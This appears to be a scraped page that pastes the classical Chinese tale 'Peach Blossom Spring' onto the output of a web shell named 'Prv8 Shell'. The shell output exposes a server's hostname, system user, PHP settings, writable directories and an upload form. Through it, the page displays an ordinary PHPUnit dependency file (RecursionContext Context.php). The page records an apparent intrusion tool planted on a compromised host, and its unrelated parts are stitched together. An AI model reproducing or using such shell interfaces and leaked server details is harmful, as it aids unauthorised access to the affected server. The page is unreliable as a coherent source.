晋太元中，武陵人捕鱼为业。缘溪行，忘路之远近。忽逢桃花林，夹岸数百步，中无杂树，芳草鲜美，落英缤纷。渔人甚异之，复前行，欲穷其林。 　　林尽水源，便得一山，山有小口，仿佛若有光。便舍船，从口入。初极狭，才通人。复行数十步，豁然开朗。土地平旷，屋舍俨然，有良田、美池、桑竹之属。阡陌交通，鸡犬相闻。其中往来种作，男女衣着，悉如外人。黄发垂髫，并怡然自乐。 　　见渔人，乃大惊，问所从来。具答之。便要还家，设酒杀鸡作食。村中闻有此人，咸来问讯。自云先世避秦时乱，率妻子邑人来此绝境，不复出焉，遂与外人间隔。问今是何世，乃不知有汉，无论魏晋。此人一一为具言所闻，皆叹惋。余人各复延至其家，皆出酒食。停数日，辞去。此中人语云：“不足为外人道也。”(间隔 一作：隔绝) 　　既出，得其船，便扶向路，处处志之。及郡下，诣太守，说如此。太守即遣人随其往，寻向所志，遂迷，不复得路。 　　南阳刘子骥，高尚士也，闻之，欣然规往。未果，寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /opt/cpanel/ea-wappspector/vendor/sebastian/recursion-context/src/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //opt/cpanel/ea-wappspector/vendor/sebastian/recursion-context/src/Context.php
<?php declare(strict_types=1);
/*
 * This file is part of sebastian/recursion-context.
 *
 * (c) Sebastian Bergmann <sebastian@phpunit.de>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */
namespace SebastianBergmann\RecursionContext;

use const PHP_INT_MAX;
use const PHP_INT_MIN;
use function array_key_exists;
use function array_pop;
use function array_slice;
use function count;
use function is_array;
use function random_int;
use function spl_object_hash;
use SplObjectStorage;

final class Context
{
    private array $arrays = [];
    private SplObjectStorage $objects;

    public function __construct()
    {
        $this->objects = new SplObjectStorage;
    }

    /**
     * @codeCoverageIgnore
     */
    public function __destruct()
    {
        foreach ($this->arrays as &$array) {
            if (is_array($array)) {
                array_pop($array);
                array_pop($array);
            }
        }
    }

    /**
     * @psalm-template T of object|array
     *
     * @psalm-param T $value
     *
     * @param-out T $value
     */
    public function add(array|object &$value): false|int|string
    {
        if (is_array($value)) {
            return $this->addArray($value);
        }

        return $this->addObject($value);
    }

    /**
     * @psalm-template T of object|array
     *
     * @psalm-param T $value
     *
     * @param-out T $value
     */
    public function contains(array|object &$value): false|int|string
    {
        if (is_array($value)) {
            return $this->containsArray($value);
        }

        return $this->containsObject($value);
    }

    private function addArray(array &$array): int
    {
        $key = $this->containsArray($array);

        if ($key !== false) {
            return $key;
        }

        $key            = count($this->arrays);
        $this->arrays[] = &$array;

        if (!array_key_exists(PHP_INT_MAX, $array) && !array_key_exists(PHP_INT_MAX - 1, $array)) {
            $array[] = $key;
            $array[] = $this->objects;
        } else {
            /* Cover the improbable case, too.
             *
             * Note that array_slice() (used in containsArray()) will return the
             * last two values added, *not necessarily* the highest integer keys
             * in the array. Therefore, the order of these writes to $array is
             * important, but the actual keys used is not. */
            do {
                /** @noinspection PhpUnhandledExceptionInspection */
                $key = random_int(PHP_INT_MIN, PHP_INT_MAX);
            } while (array_key_exists($key, $array));

            $array[$key] = $key;

            do {
                /** @noinspection PhpUnhandledExceptionInspection */
                $key = random_int(PHP_INT_MIN, PHP_INT_MAX);
            } while (array_key_exists($key, $array));

            $array[$key] = $this->objects;
        }

        return $key;
    }

    private function addObject(object $object): string
    {
        if (!$this->objects->offsetExists($object)) {
            $this->objects->offsetSet($object);
        }

        return spl_object_hash($object);
    }

    private function containsArray(array $array): false|int
    {
        $end = array_slice($array, -2);

        return isset($end[1]) && $end[1] === $this->objects ? $end[0] : false;
    }

    private function containsObject(object $value): false|string
    {
        if ($this->objects->offsetExists($value)) {
            return spl_object_hash($value);
        }

        return false;
    }
}

haha - 2025